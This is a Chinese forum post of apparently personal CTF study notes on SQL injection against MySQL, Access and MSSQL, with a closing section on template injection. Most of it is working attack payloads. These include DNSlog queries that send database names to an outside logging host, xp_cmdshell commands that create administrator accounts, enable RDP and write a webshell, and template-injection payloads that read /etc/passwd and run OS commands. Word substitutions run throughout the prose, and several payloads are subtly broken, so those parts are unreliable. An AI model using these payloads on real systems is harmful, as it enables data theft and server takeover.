SQL注入基础入门

耶耶耶耶耶  金牌会员 | 2024-7-8 22:45:01 | 来自手机 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题

主题 861|帖子 861|积分 2583

目次

前言

SQL注入是本散修学习过程中和刷CTF题整理的一些心得,如今看来感觉也还是入门,没有涉及到很多进阶的方式,后续有能力的话应该还会继续写一些过waf的进阶操纵。
SQL注入基本操纵


  • 原理:其实就是开辟人员没有对提交上来的而且是与数据库交互的数据举行处理,然后导致拼接语句的时候没有按照本意的去执行SQL语句。
  • 如何探求注入点:
    只要是与数据库打交道的都可以尝试,比如登录,注册,留言板,评论区,分页等等。
  • 注意URL编码
下面以介绍的各种sql注入都是以mysql的注入方式来介绍,背面介绍其他数据库就轻易很多。
SQL注入范例分类

数字型

数字型就是你输入的数据是以数字的形式传到代码那边举行组合SQL语句,如果没有做任何防护的话可以恣意组合我们必要的语句。

  • select username,email from member where id=1 or 1=1--+;
  • 注入语句:or 1=1--
    意思是通过一个永真条件就会将所有搜索到的信息通报出来,然后--是注释符号,避免背面还有什么拼接的条件语句,其他注释符号也行,常用是--,最好在背面多加一个空格,url的话就用+号代替空格。
字符型

输入的数据被当成字符,然后与其代码拼接sql语句, 如果没有做防范就会直接与用户穿上来的数据拼在一起,道理都是一样的,但是字符型就有点不同,由于是字符,所以在数据库中字符也是会有单引号双引号,一样平常都是利用单引号的居多,还需测试的人员举行多次尝试。

  • 网站代码中的语句通常是 'select id,email from member where username=$data;'
    $data是一个变量,然后代码中利用的是单引号将SQL语句引起来,所以当传输数据给data变量的时候将单引号也传进去的话就会将单引号闭合掉,data数据尾部再加上注释符号就刚好将后边的单引号注释掉就完全闭合了。
  • 注入语句:data=xx' or 1=1--+
    这样就是一个sql注入语句了,xx是恣意字符的意思,因为有时候大概不允许出现条件为空的字符,恣意输入一点然后拼接成一个完整的sql语句。
搜索型

就是含糊查询,本质都是一样的,这里讨论mysql,所以我们注入语句利用like,具体按实际的数据利用注入语句,但本质是一样的。含糊查询语句本来为:select * from user where like '%xxx%'; %是含糊查询的符号,所以也可以xxx%或者%xxx,%就代表恣意多个字符。

  • 注入语句:

    • xxx%' or 1=1--+      #一样平常不会是%xxx or 1=1--+,因为含糊查询中,代码一样平常都带了%所以你%xxx没啥用,一样平常加在背面。xxx%,当然下面的%xxx%也是可以,都说了%是含糊查询标志符号,所以我们的多少个都行。
    • %xxx%' or 1=1--+

xx型

说明
这里我口试了几个口试官都说不知道,不太清楚是什么缘故原由,但是我学到的确实有这个范例,那么各位道友如果我这里的范例名字有错误的话请肯定要指出来。

xx型是因为代码里面会是这样写的:select * from user where username=('$name');也就是说会加一个括号括起来而已,那我们肯定也是可以应对的,只要我们传进去的数据能够将其括号闭合即可

  • 注入语句:
    xx') or 1=1--+
Json型

Json型其实就是上面几种范例输入数据换了一种方式而已,就是利用Json的范例将数据传进去,然后找到参数点后SQL注入姿势也还是数字型、字符型、搜索型。
这里必要抓包举行修改数据,json数据是写在post数据包里面的,我们抓包到数据将json数据修改成我们的注入语句即可。

  • json格式:{"id":"123"}    #属性名肯定肯定!必须利用双引号,字符串数据也是严格利用双引号,不可以是单引号,不能利用十六进制作为数据,不能利用无界说即undefined
  • 注入语句:{”id“:"123 ' or 1=1--"}  # 其他注入范例本身发挥
数据范例提交的方式




  • get
    直接修改url
  • post
    抓包修改数据
  • Cookie
    有的cookie也会和数据库打交道,在这里注入有时候也会出现意想不到的劳绩。
    但是这必要利用的注入语句是报错注入方式(报错注入背面会说),利用通常的sql注入看不出效果,
    一样平常都是利用:
    ' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) --+
当然还有其他https头部都可以尝试
SQL注入的位置分类

只要背景利用这个数据和数据库打交道,那么都大概存在注入点,下面只举例子http header。

  • Http Header
    解释:因为有的企业会把user-agent等等请求头键值对也保存在数据库里面,也就说这些也大概会和数据库打交道,因为可以尝试在这里注入,但是请注入选择的注入一样平常是报错注入的方式来举行,因为这种一样平常都没有回显,所以通过报错的方式将其报出来。

    • 注入语句:(下面语句是可以直接放入user-agent:的背面,即下面是值部分)
      payload Mozilla' or updatexml(1,concat(0x7e,database()),0) or '
      其中database()在mysql数据库中能够将当前的数据库名字以报错的形式表现出来,这个报错语句也是mysql中的,大概其他的数据库会略有不同,只必要去网上查找即可,无须特地记忆。database()这个就是可以修改的,你可以修改成select的语句或者其他语句都行,达到你的目标即可,但是要思量到开辟人员大概对某些关键词做了防护。
      database()只是其中的内置函数,mysql还有其他,比如:

      • user() 查询当前登录数据库的用户
      • version() 当前数据库版本

    • 0x7e是~,只是为了方便表现的时候看得出来,你也可以用其他符号,但发起利用十六进制

报错注入


  • 介绍:
    在MYSQL中利用一些指定的函数来制造报错,从而从报错信息中获取设定的信息,常见的select/insert/update/delete注入都可以利用报错方式来获取信息。为什么要用函数报错呢,是因为我们上面学到的一些注入测试手段,大概看不到报错,被屏蔽或者处理了,就不好判断是否有注入点,所以我们学一下基于函数的报错。
    但是我按照本身的思路来一样平常都是先从最简单的sql注入开始测试,都行不通了才会开始要尝试报错注入。
    报错注入其实就是通过函数的形式,传入一些不规范的参数让其报错,将其错误信息报错出来,刚好错误信息使我们本身写的sql语句。
  • 常用的三个报错函数介绍:

    • updatexml()
      mysql对xml文档数据举行查询和修改的xpath函数,恰好我们写本身的sql语句即可,不必要理会正确的咋写。
      但是这里就偏要介绍他的本来用法:updatexml(xml_document,xpath_string,new_value);作用就是在XML文档对象中,即给出的xml_document对象名称通过xpath的方式找,找到就用new_value更换
    • extractvalue()
      extractvalue(xml_document,xpath_string),通过xpath方式在xml_document文档对象中查到字符串举行返回,这函数比力苛刻,第一个参数肯定要符合语法标签规则。比如hello,简而言之就是肯定要有闭合标签,可以是你本身恣意写的,闭合的肯定要和你开头写的一样就行,语法符合即可。
    • floor()
      mysql用来对数据举行取整,学过编程应该都懂了。
    • 等等..还有很多函数可以举行报错注入。

  • updatexml()的注入用法
    updatexml(1,concat(0x7e,(select @@version,0x7e),1)--+
    concat是拼接字符串,刚好可以放在update中心的参数,中心参数是xpath_string字符串,很显然我们拼接出来的字符串肯定不是xpath,0x7e是~ ,我们本身希望注入的sql语句肯定要用括号括起来,因为括号内是先执行的,才会将我们的想要的信息报错出来,就是让报错要有信息可报,最后报错出来的数据是 ~mysql数据库版本号~
  • extractvalue()的注入用法
    extractvalue(‘hello’, concat(1,(select @@version),1))--+,第一个参数肯定要闭合标签,恣意标签都行,同理concat里面的sql注入语句肯定要先括号括起来让他先执行再报错。
报错注入实战案例

下面的顺序也是按照实际获取到的消息来拖库,一点点的拖信息。

  • 爆数据库版本信息:
    x' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)--+
  • 爆数据库当前用户:
    x' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
  • 爆数据库:
    x' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
  • 爆表:
    mysql5.1版本及以上版本,mysql数据库中会存在一个叫做information_schema的默认数据库,这个库里面记载着整个mysql管理的数据库的名称、表名、列名(字段名)
    x' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1),1)--+,一样平常都是限定报错信息一条而已,所以用limit举行限定。
  • 爆字段:
    x' and updatexml(1,concat(0x7e,(select column_name from information_schema.tables where table_schema='pikachu' limit 0,1),0x7e),1)--+
  • 爆字段内容:
    x' and updatexml(1,concat(0x7e,(select passsword from users limit 0,1),0x7e),1)--+,到这里的时候已经是你完成拖库了,慢慢的拉去信息即可,因为你按照上面的步骤的话就是基本上数据库版本和数据库名字和表名字段名都晓得了。
SQL注入语句分类

insert注入

一样平常会出如今注册用户和发表内容,以post的方式提交数据的居多,所以必要抓包来注入payload,找到后其实就和平常的sql注入没啥区别了。
update注入

一样平常在已存在的用户中,必要修改个人信息或者修改发表的内容中,同insert出现的地方差不多,找到注入点后按照sql注入正常流程来拖库渗透即可。
delete注入

这个就是出如今评论区居多,且通常以get方式提交数据,因为删除一样平常通过id号码来删除评论,但具体题目具体分析。
编码

url编码:也叫做百分号编码,url仅仅保存 a-z A-Z 0-9 还有特殊字段 -_.~ 这四个可以直接出如今url地址上面作为数据。这几个 !$&'()*+,;= 是作为分隔符不是作为数据在url上出现的,然后剩下的其他都必要举行十六进制的编码然后前面加上%号作为url编码。
Url编码默认利用的字符集是US-ASCII。例如a在US-ASCII码中对应的字节是0x61,那么Url编码之后得到的就 是%61,我们在地址栏上输入http://g.cn/search?q=%61%62%63。
常见的url编码字符:
URL编码值字符%20空格(+也代表空格)%22"%23#%25%%26&;%27'%28(%29)%2B+%2C,%2F/%3A:%3B;%3C</td/trtrtd %3D/tdtd =/td/trtrtd %3E/tdtd >%3F?%4o@%5C\%7CITips:Mysql版本区别

mysql5.0以及5.0以上的版本都存在一个系统自带的系统数据库,叫做:information_schema,mysql5.0以下没有information_schema库,只能通过暴力猜解的方式来获取数据,information_schema库里面包含了很多表,其中这几张表:schemata、tables、columns,这三张表依次分别存放着字段:(schema_name-库名)、(table_name-表名、table_schema-库名)、(table_schema-库名、table_name-表名、column_name-字段名),其次就是5.0以上都是多用户多操纵,5.0以下是多用户单操纵。

information_schema数据库详解

安全人员最重要的是要掌握三个表:schemata, tables, columns
  1. tables的列:table_name table_schema   table_schema是所有table_name所属的不同数据库名
  2. columns的列:table_schema  table_name column_name   table_schema是所有table_name所属的不同数据库名,table_name是所有table_column所属的不同表名。
  3. schemata的列:就是schema_name  数据库表里面自然是数据库列名schema_name
复制代码
其他注入手段

宽字节注入

宽字节注入方法现在看,仅仅实用于gbk编码的网站。
引入:有的网站会开启一些防护手段,防止我们通过url提交数据的时候举行sql注入,比如phpstudy中可以开启gpc后就会将我们sql注入的单引号'前面加一个\反斜杠,这样的话就会导致我们sql注入无效,我们的单引号就会被当成字符处理而不是闭合前面的单引号。
宽字节注入绕过反斜杠防护

既然会在单引号前面加一个反斜杠\,\的url编码是%5c,也就是十六进制的0x5c,如今告诉你中文必要两个十六进制来构成一个汉字你是否有头绪了?是的没错,宽字节注入就是通过与%5c能够联合成一个汉字的十六进制放进去就会被吃掉,所以我们的%5c就会与那个构成一个汉字,我们本来的sql语句就注入成功了。
举例:如今直接告诉你%df和%5c能够组合成一个運字,那么我们就可以这么些url:http://xxx/name=xx%df'+or+1=1--,这样的话在对方服务器中会在我们写入的单引号前面加上\,又因为\为%5c,恰好和我们前面写的%df组起来了,在将数据翻译的时候对方服务器就会认为我们的%df%5c是運字,然后我们的'单引号又重见天日了得到解放。

偏移量注入

假设我们找到一个注入点,直到了该网站其中一个表名和其字段数目,可以通过该注入点知道该注入点的表数据。
举例子:比如已知users表,其中字段数目为3,但是注入点中利用另一个表数据来查询,我们的users表比该注入点中的表的字段数目少就可以完成偏移量注入。假设该注入点的表叫做b表,字段数目为7个。
下面是实际操纵:

  • select * from b where id=$xx;
    xx就是一个注入点,我们可以恣意一个数据的同时附加sql注入:union select *,1,2,3,4 from users

    • 解释:因为b表有7个字段数目,然后我们的users表只有三个字段,联合查询会数据库会报错,然后加上四个固定命值后能够补充上去符合7个字段数目联合查询出来就将我们的b表数据查出来了。
      (当然了,假设展示数据的代码不是将查到的数据循环出来而是只表现查询出来的第一条就须思量如何写sql了,因为我们联合查询就是猜测代码会将我们查到的数据都循环打印出来,具体题目具体分析。)

加密注入

在渗透测试过程中发现网站的url上面或者post数据中有==结尾的一样平常是举行了 base64加密了,所以我们注入的时候可以将sql注入语句举行编码后加入到数据中去。其他加密方式雷同,只是base64举个例子而已,因为==号一样平常环境下都是base64,且在如今比力                常用。
堆叠注入

实质就是通过mysql中以;结尾作为一句sql语句,然后我们在注入的时候就可以加上;以表示语句解释,然后在;背面就可以写我们本身的恣意sql语句了。

  • 限定:堆叠注入的范围性在于并不是每一个环境下都可以执行,大概受到API或者数据库引擎不支持的限定,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。mysql中有些API是支持的,sqlserver都支持,oracle不支持。
联合注入

即找到注入点后利用union举行注入,其实这个不算手段只是利用mysql中的联合查询举行注入,能够将很多信息都拖出来,这个联合注入其实属于检测方法。

  • 获取某些表的所有列名:
    'union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273+--+&Submit=Submit
    其中table_name=0x7573657273为十六进制,这个不转成十六进制也可以table_name="users"
  • 获取某表的所有字段数据:
    ' union select 1,group_concat(user_id,0x7c,first_name,0x7c,last_name,0x7c,user,0x7c,password,0x7c,avatar,0x7c) from users
    0x7c表示 | 符号,其实就是用过|将所有字段数据拼接到一起举行表现
二次注入

这个原理就是往数据库里面放入脏数据然后再利用的时候让脏数据触发。我们的脏数据会在代码中被处理,比如'单引号在进入代码取数据拼接的时候会在前面加一个\,但是无伤风雅,因为在存入数据库的时候会将\除掉,这是因为判断非法字符的只有代码拼接的时候帮你转义而已,存入数据的时候还是会把你原来的数据存进去。利用这一点我们就可以利用该特点做一些其他事情。比如下面的例子。
举例:假设我们有一个超级管理员名字叫做admin

  • 注册的时候注册一个名字叫admin'#的名字,不管代码他是否转义终极如果可以存进数据库都会叫这个名字。
  • 注册成功后去到修改密码的界面,然后修改密码提交上去的数据会把你用户名作为条件举行提交上去,因为改的是你本身的密码,但好巧不巧了,你的用户名中有admin且背面是' #,恰好把前面的单引号闭合,且#是注释符号注释掉了背面的东西,这时候修改的就是admin的账号的密码了,这样就可以登录admin的账号 了,你已经修改了他的密码。
  • 这就是一个简单的二次注入例子,通过利用脏数据举行修改他人密码。
中转注入

本质就是你利用另一台署理,署理上面有你写好的转发代码,你主机将payload转发到署理上面写好的代码中,署理主机的代码就会帮你转发你的payload到目标主机上面,完成的任务其实就是隐藏身份
伪静态注入

注入方式比力苛刻
详情推荐看这位博主的博客:伪静态注入的总结
盲注

Bool布尔型盲注

到了这一步的话最好按部就班的顺序举行测试,否则真的盲目注入了,注入没有效果再一步一步往后举行。

  • 按照注入范例注入(数字、字符、xx...)
  • 报错注入
  • bool注入判断真假:

    • select ascii(substr(database(),1,1))>61; 通过对比ascii码的长度,判断出数据库表名的第一个字符。
    • 判断表名长度为7?:vince' and select length(database())=7#

base on time(时间型注入)

mysql中有一个休眠函数,sleep(秒数),只要我们能够将sleep注入,通过组合另一个判断语句就可以知道是否正确,判断尺度就是sleep是否执行了,休眠时间触发的话会很明显的就知道。
比如:vince' and if(substr(database(),1,1)='p',sleep(10),null)#表示如果数据库第一个字符是p的话就会执行sleep语句直接休眠10秒,否则null不执行什么,这样我们就通过时间就判断出来是否数据库名字第一个字符是否是p了。这就是时间型注入。
如果sleep被防御了,可以利用benchmark。         benchmark是mysql的内置函数,是将MD5(1)执行10000000次以达到延迟的效果。
DNSlog注入


  • 这种方式比力高级,注入的sql语句要求mysql的设置文件中开启了secure_file_priv="",设置文件中没有这一项就无法利用DNSlog注入。
  • 具备DNSlog日志记载功能的网站A我们不用本身搭建,可以采用如下三个,当然如果你想本身搭建也是可以的:
    http://ceye.io/  #知道创宇公司提供的
    http://www.dnslog.cn/   #Ke学 上网
    http://admin.dnslog.link #这个好像不太好用了
  • 通过mysql的load_file()函数来触发dns注入,首先load_file能够加载本地文件,也能发起url请求,正是能够发起url请求,所以我们可以将我们申请到的dns日志记载网站。(假设申请到的dns日志网站是:9fqiop.ceye.io/abc)

    • 语句如:select load_file('\\\\xxx.xxx.xxx\\xx');
      其中\\\\xxx.xxx.xxx\\xx是我们搭建或者申请到的dns网址
      可以去专门申请到的dns网站看日志,有记载的话就可以正是写我们所需的sql注入语句了,上面的注入语句没有做什么事情。
    • 注入语句:
      下面是为了绕过代码才利用concat拼接的,也可以先用正常的select load_file('\\xxx.xxx.xxx\xx')看看有没有通过服务端的检查。

      • 获取库名: and (select load_file(concat('//',(select database()),'.9fqiop.ceye.io/abc')))
      • 获取表名:and (select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.9fqiop.ceye.io\\abc')))修改limit背面的数字即可将每个表名都查出来


说明:这里\\是因为要转义字符,所以终极会酿成\
那么我们利用//也是可以,这样就不用转义了。
其他数据库注入

Access数据库

特性:暴力猜解名字,Access中没有什么好办法

  • 爆表:...and exist(select * from $表名)
  • 爆字段:...and exist(select $字段名 from 已知表名)
  • 爆字段内容的长度
    1、...and (select top 1 len(字段名) from 表名) > $猜测的长度
    2、order by n  如果n-1时返回正常,n时返回错误,那么说明字段数目为n
  • 爆字段数据内容:
    1、...and (select top 1 asc(mid(字段名,起始位,截取的位数)) from 表名) > $?
    ($?代表ascii码,判断大小可知字母,若判断到小于0说明是汉字,$字符下标是可变,背面长度一样平常都是1)
    mid(字符串,起始位,截取的位数)该函数中起始位是从1开始不是从0开始
    例如:
    mid(“abcdef”,2,3)
    效果是bcd
    2、条件是已知了该表的字段个数,这是通过order by测试出来后才可以用下面的方法
    假设已知我们通过order by测试出来了administrator表有7个字段

    注入语句为:...and 1=2 union select 1, 2, 3...., 7 from 表名,上图所示就是看到2 3 7 5 表现出来了,表示我们知道该表那些字段表现被后端取出来表现了,那么在通过已知的字段名放在对应表现的数字上面就可以取出来数据了。
    ​        例如:...and 1=2 union select 1,username,password,4,5,6,7 from 表名,这样就会在对应的位置上面表现出来你的字段名内容。当然也可以放在7和5上面,测试的时候是 2375都表现了。所以我们这样就会很简单的拿到了数据不用一个字母一个字母的取出来。

  • 若通过注入拿到背景管理员用户的账号密码

    • 利用7kb或御剑攻击扫描目次:有大概会拿到背景登录页面,直接用账号密码登录即可。

小提示: Access数据库都是存放在网站目次下,后缀格式为mdb,asp,asa,可以通过一些暴库手段、目次猜解等直接下载数据库,如果是MSSQL、MYSQL等,一样平常数据库是存储在数据库安装路径下,后缀格式为myi,myd,frm,mdf ,不能通过下载得到库。除非走狗屎运,对方管理员把网站库备份在网站目次下。
MSSQL数据库(SqlServer)

MS微软的简写,因此是利用SQLServer软件作为数据库。
数据库介绍:

  • 三大权限:sa, dbowner, public (最高权限是sa)
  • 可以采用与Access注入的雷同原理与方法
  • Mssql默认端口是1433
  • Mssql默认允许远程毗连
sa权限注入


  • 判断该网站中是否利用了:
    ...and 1=(select IS _SRVROLEMEMBER('sysadmin'))  # 大概这个语句判断有误
    若页面没有报错则为sa权限
  • 介绍xp_cmdshell:
    xp_cmdshell是mssql数据库的扩展存储功能,这个功能可以直接执行操纵系统的指令(ipconfig、pwd等等),默认环境下这个功能是禁用状态的,所以我们先要看看是否开启了,但我们必要打开的时候,我们可以自行打开,但是这个功能只能是sa这样的权限用户才气开启,所以前面判断了是否为sa用户权限摆设的,dbowner、public等权限都是不能开启。
  • 判断xp_cmdshell存储过程:
    ...and 1=(select count(*) from master.dbo.sysobjects where name='xp_cmdshell')
    若页面没有报错则开启了,否则就必要我们sql注入的形式举行打开一下这个功能。
  • 规复xp_cmdshell:(注意下面是一条语句执行,不是多条)
    EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--
  • 开启了xp_cmdshell就可以为所欲为了:

    • 添加用户:
      ;exec master..xp_cmdshell 'net user  用户名 密码 /add'
    • 本身的用户添加到管理员组:
      ;exec master..xp_cmdshell 'net localgroup administrators 你创建的用户名 密码 /add'
    • 开启3389windows的远程毗连端口:
      已经是管理员组的用户了,想远程控制你的电脑,就可以开启3389端口,默认远程桌面是关闭的。下面的是通过cmd指令修改注册表的一个选项来开启3389。(注意下面是一条语句,不是多条)
      ;exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;
      完成开启,直接通过ip地址可以连上目标主机。
    • 其他指令:
      ;exec master..xp_cmdshell '$其他指令在这里写'

dbowner权限注入

!!!!!!!!!!!条件是开启了xp_cmdshell
注入思路:首先找到可注入的而且有报错的页面,必要知道该页面在对方服务器里面的文件名。通过注入来创建一个不重名的表,字段名本身界说。xp_cmdshell 正常执行 dir /s 该报错页面的文件名,就会出现他的路径(不信你可以用cmd试试),然后将该信息insert到我们本身创建的table中,那这样我们又可以通过组合sql注入和报错的形式,将我们存进去的路径信息通过我们本身创建的表信息报错出来,有了该路径,就可以往存放该错误页面路径的目次下面利用xp_cmdshell执行创建webshell的文件,然后就可以控制目标服务器了。

  • 判断是否为dbowner权限
    and 1=(SELECT IS_MEMBER('db_owner'));--   # 同理大概会判断错误
  • 探求可sql注入且有报错信息返回的页面(目标是将报错信息插入到我们本身创建的表)
    这里的报错信息
    通过7kb、穿山甲来找,或者可以通过高级搜索的方式搜寻该页面的其他有报错的页面
  • 在目标服务器上创建一个表
    create table black result varchar(7996) null, id int not null identity (1,1)--
  • 通过报错信息插入到我们本身创建的表中
    insert into black exec master..xp_cmdshell 'dir /s 该页面的文件名'--
  • 通过查询我们保存的信息,然后将路径报错出来,因为查到的信息肯定有,但是故意让他报错,将我们查到的信息报出来(这个方法很巧妙,值得细细品味)
    and (select result from black where id=4)>0--   #首先查出来的数据是字符串和0比力肯定错误,所以就会将我们查到的信息报错出来。那这个信息就是我们必要的当前访问的页面的url下的目次了,我们就可以通过xp_cmdshell创建webshell。
  • 通过xp_cmdshell创建文件到我们上面报错出来的路径中去,该文件写上一句话木马,然后就可以在该网址下毗连我们的webshell了
    ;exec master..xp_cmdshell 'echo "" >> 报错的路径\你的木马文件名'--
  • 该权限还可以举行数据库备份(当然sa肯定可以,只是sa都直接连上主机了那就不用这个了)
    当然也是必要知道目次信息,否则你备份好了也不知道去哪取出来。
    ;alter database testdb set RECOVERY FULL;create table test_tmp(str image);backup log testdb to disk='c:\test1' with init;insert into test_tmp(str) values (0x3C2565786375746528726571756573742822636D64222929253E);backup log testdb to disk='c:\www\iisaspx\yjh.asp';alter database testdb set RECOVERY simple

public权限注入


  • 获取当前网站数据库名称
    and db_name()=0--

    • 获取所有数据库名:
      and 1=(select db_name()) --+
      and 1=(select db_name(1)) --+
      and 1=(select db_name(2)) --+
      ...

  • 获取当前数据库所有表名(当然条件是你知道了当前数据库名)
    and (select top 1 name from 当前数据库.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in (select top i name from 当前数据库.sys.all_objects where type='U' AND is_ms_shipped=0))>0--
    //修改i的值来检察
  • 获取表名和字段名

    • having 1=1--
      这个不用加and直接空格having接上就行,例如:http://.........?xx=1 having 1=1--
      下面两个也是一样不用加and写法和这个一样。
    • group by 表名.已知字段名 having 1=1--
      这个是在第一个指令下已知了一个字段了才气用该指令,这样又一个字段名出来了
    • group by 表名.字段名1,表名.字段名2 having 1=1--
      这个就很清楚了,就是找第三个字段,因为已知了两个字段

  • 获取字段内容(不发起利用,很麻烦)
    举一个例子,但是里面的变量必要本身找找,换一下。
    (这里用了一些绕过waf的手段,比如注释干扰/**/和编码绕过)
    /**/and/**/(select/**/top/**/1/**/isnull(cast[id]/**/as/**/nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([name]/**/as/**/nvarchar(4000)),char(32)%2bchar(94)%2bisnull(cast([password]/**/as/**/nvarchar(4000),char(32))/**/from/**/[testdb]..[admin]/**/where/**/1=1/**/and/**/id/**/not/**/in/**/(select/**/top/**/0/**/id/**/from/**/[testdb]..[admin]/**/where/**/1=1/**/group/**/by/**/id)%3E0/**/and/**/1=1
当然如果拿到了public最好还是利用工具。
SQL注入扩展

SSTI漏洞

SSTI(Server-Side Template Injection) 服务端模板注入,服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分。
通过模板,Web应用可以把输入转换成特定的HTML格式。在举行目标编译渲染的过程中,若用户插入了相关恶意内容,效果大概导致了敏感信息走漏、代码执行、GetShell 等题目。
python语言开辟的网站,比如response的server像这样:

那么就可以利用SSTI漏洞注入
常见SSTI注入payload
  1. 1、获取’‘的类对象:''.__class__
  2. 2、追溯继承树:''.__class__.__mro__
  3. 3、可以看到object已经出来了,然后继续向下查找object的子类:''.__class__.__mro__[2].__subclasses__()
  4. 4、找到可执行命令或者读文件的方法,找到第40个为<type> 'file',执行命令:''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
  5. payload构造继承链的思路是
  6. 1)随便找一个内置类对象用class拿到他所对应的类
  7. 2)用bases拿到基类
  8. 常用payload
  9. python3
  10. - 文件读取:{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('1.py').read()}}
  11. - 命令执行:{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
  12. python2
  13. - 文件读取:{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
  14. - 文件读取:().\_\_class__.\_\_bases\_\_[0].\_\_subclasses__()[40]('/etc/passwd').readlines
  15. - 文件读取:{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}  
  16. - 写文件:{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}
  17. - 命令执行:{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()"
  18. - 命令执行:{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('code')}}  
  19. {{ config.from_pyfile('/tmp/owned.cfg') }}
  20. python2、python3共有的,且可命令执行的payload:
  21. {% for c in ().__class__.__bases__[0].__subclasses__(): %}
  22. {% if c.__name__ == '_IterationGuard': %}
  23. {{c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()") }}
  24. {% endif %}
  25. {% endfor %}
复制代码
SSTI tornado render模板注入

利用tornado的服务器就是利用python语言举行编写的。所以可以采用ssti注入方式。
  1. tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且还可以通过{{}}进行传递变量和执行简单的表达式。
  2. {{handler.settings}}
  3. 还有几种获取config的方式
  4. {{url_for.__globals__['current_app'].config}}
  5. {{get_flashed_messages.__globals__['current_app'].config}}
复制代码
效果如下:

handler查询

handler 可以在 select 被过滤后有效的举行sql注入。
下面是官方给出的查询方法(了解即可):
  1. HANDLER tbl_name OPEN [ [AS] alias]
  2. HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
  3.     [ WHERE where_condition ] [LIMIT ... ]
  4. HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
  5.     [ WHERE where_condition ] [LIMIT ... ]
  6. HANDLER tbl_name READ { FIRST | NEXT }
  7.     [ WHERE where_condition ] [LIMIT ... ]
  8. HANDLER tbl_name CLOSE
复制代码
!!!注意:as alias是起别名的意思,你起完别名后,背面的语句都是利用你这个别名来构造语句!!!
下面是常用的读取方法:

  • 第一种:直接通过表名读取列的数据。
    原理就是将对应的table举行open后,即对应这条指令:index_name
    开始读取,通过first、next、prev、last举行偏移,这里的偏移是从你open之后开始的,所以我们读取完必要有一个close的操纵
    读取完就close:handler table_name close;
    1. handler table_name open [[as] alias];
    2. handler table_name read [first | next | prev | last];
    3. handler table_name close;
    复制代码
  • 第二种:通过索引表读取。
    原理是通过你创建好的索引表举行读取数据,也是open之后像指针一样举行偏移。
    1. handler table_name open [[as] alias];
    2. handler table_name read index_name [first | next | prev | last];
    3. handler table_name close;
    复制代码
  • 第三种:通过索引表但是指定下标开始读取。(可以范围读取)
    原理其实也是通过索引表读取,但是这里可以通过指定索引表第几行数据读取出来,或者某个范围内读取出来。
    1. handler table_name open [[as] alias];
    2. handler table_name read index_name = (id);  //id就是第几行
    3. handler table_name read index_name [first | next | prev | last];  //在你定位完后还可以继续使用这个进行偏移
    4. handler table_name close;  //记得也要关闭handler
    复制代码
读取与写入

Mysql
  1. x' union select 1,'一句话木马等等' into output "路径"
复制代码
show方式

在mysql中还能够利用show来获取数据库的所有表名、获取表的所有列名。(当然条件就是你知道数据库名了才气show表名,同理获取列名就要给出show的表名)
  1. 1. show tables 或 show tables from database_name; -- 显示当前数据库中所有表的名称。
  2. 2. show databases; -- 显示mysql中所有数据库的名称。
  3. 3. show columns from table_name from database_name; 或show columns from database_name.table_name; -- 显示表中列名称。
  4. 4. show grants for user_name; -- 显示一个用户的权限,显示结果类似于grant 命令。
  5. 5. show index from table_name; -- 显示表的索引。
  6. 6. show status; -- 显示一些系统特定资源的信息,例如,正在运行的线程数量。
  7. 7. show variables; -- 显示系统变量的名称和值。
  8. 8. show processlist; -- 显示系统中正在运行的所有进程,也就是当前正在执行的查询。大多数用户可以查看他们自己的进程,但是如果他们拥有process权限,就可以查看所有人的进程,包括密码。
  9. 9. show table status; -- 显示当前使用或者指定的database中的每个表的信息。信息包括表类型和表的最新更新时间。
  10. 10. show privileges; -- 显示服务器所支持的不同权限。
  11. 11. show create database database_name; -- 显示create database 语句是否能够创建指定的数据库。
  12. 12. show create table table_name; -- 显示create database 语句是否能够创建指定的数据库。
  13. 13. show engines; -- 显示安装以后可用的存储引擎和默认引擎。
  14. 14. show innodb status; -- 显示innoDB存储引擎的状态。
  15. 15. show logs; -- 显示BDB存储引擎的日志。
  16. 16. show warnings; -- 显示最后一个执行的语句所产生的错误、警告和通知。
  17. 17. show errors; -- 只显示最后一个执行语句所产生的错误。
  18. 18. show [storage] engines; --显示安装后的可用存储引擎和默认引擎。
  19. -- 可以通过查询数据库存储路径和数据库日志路径猜测网站的物理路径
  20. select @@datadir;
  21. SHOW GLOBAL VARIABLES LIKE '%log%';
复制代码
读取数据库用户密码

这个方式不常用,因为很难遇到能够成功读取到的。
  1. select * from mysql.user\G;
  2. select * from mysql.user where user='root'\G;
复制代码
注入读取常见文件路径

在php中能够通过执行phpinfo函数或者读取到该文件就能够获取到网站的真实路径。
  1. select load_file('绝对路径');
复制代码
windows
  1. c:/boot.ini //查看系统版本
  2. c:/windows/php.ini //php配置信息
  3. c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
